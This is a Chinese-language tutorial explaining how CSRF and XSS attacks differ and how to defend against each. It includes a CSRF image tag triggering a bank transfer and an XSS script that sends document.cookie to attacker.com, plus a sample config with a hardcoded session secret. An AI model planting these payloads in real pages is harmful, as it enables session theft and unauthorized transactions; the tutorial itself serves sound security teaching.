CSRF 和 XSS 攻击有什么区别，如何区分它们？

CSRF（跨站请求伪造）和 XSS（跨站脚本攻击）是两种常见的 Web 安全攻击，虽然它们都涉及跨站交互，但攻击原理、目标和防护方式完全不同。

核心区别

1. 攻击原理

CSRF：

• 利用用户的认证状态
• 伪造用户发起的请求
• 不需要获取用户的敏感信息
• 浏览器自动发送 Cookie

XSS：

• 注入恶意脚本代码
• 在用户浏览器中执行脚本
• 可以获取用户的敏感信息
• 利用网站对用户输入的信任

2. 攻击目标

CSRF：

• 目标是服务器
• 利用用户的身份执行操作
• 修改用户数据、执行敏感操作
• 不需要窃取用户凭证

XSS：

• 目标是用户浏览器
• 窃取用户信息、Cookie
• 执行恶意代码、劫持会话
• 可以进一步发起 CSRF 攻击

3. 攻击条件

CSRF：

• 用户已登录目标网站
• 目标网站使用 Cookie 认证
• 用户访问恶意网站
• 目标网站没有 CSRF 防护

XSS：

• 网站存在输入验证漏洞
• 网站未对用户输入进行过滤
• 用户访问包含恶意脚本的页面
• 浏览器执行恶意脚本

攻击示例对比

CSRF 攻击示例

html
<!-- 恶意网站上的代码 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

• 用户访问恶意网站时，浏览器自动发送银行网站的 Cookie
• 银行网站误以为是用户主动发起的转账请求

XSS 攻击示例

html
<!-- 恶意评论内容 -->
<script>
  var cookies = document.cookie;
  fetch('https://attacker.com/steal?cookies=' + cookies);
</script>

• 恶意脚本在用户浏览器中执行
• 窃取用户的 Cookie 信息并发送到攻击者服务器

防护方式对比

CSRF 防护

1. CSRF Token：在表单中添加随机 Token
2. SameSite Cookie：限制 Cookie 的跨站发送
3. 验证 Referer 头：检查请求来源
4. 双重提交 Cookie：同时验证 Cookie 和请求参数

XSS 防护

1. 输入验证：过滤和验证用户输入
2. 输出编码：对输出内容进行 HTML 编码
3. Content Security Policy (CSP)：限制脚本来源
4. HttpOnly Cookie：防止 JavaScript 访问 Cookie

相互关系

虽然 CSRF 和 XSS 是不同的攻击方式，但它们之间存在关联：

1. XSS 可以辅助 CSRF：

   • 通过 XSS 窃取 CSRF Token
   • 绕过 CSRF 防护机制

2. 防护策略互补：

   • HttpOnly Cookie 防止 XSS 窃取 Cookie，但不防护 CSRF
   • CSRF Token 防护 CSRF，但不防护 XSS
   • 需要同时实施两种防护策略

实际应用中的防护策略

javascript
// 综合防护示例
app.use(helmet()); // CSP 等 XSS 防护
app.use(cookieSession({
  secret: 'secret',
  cookie: {
    httpOnly: true,  // 防止 XSS 窃取
    secure: true,
    sameSite: 'lax'  // CSRF 防护
  }
}));
app.use(csrf({ cookie: true })); // CSRF Token

理解 CSRF 和 XSS 的区别对于构建安全的 Web 应用至关重要，开发者需要同时防范这两种攻击。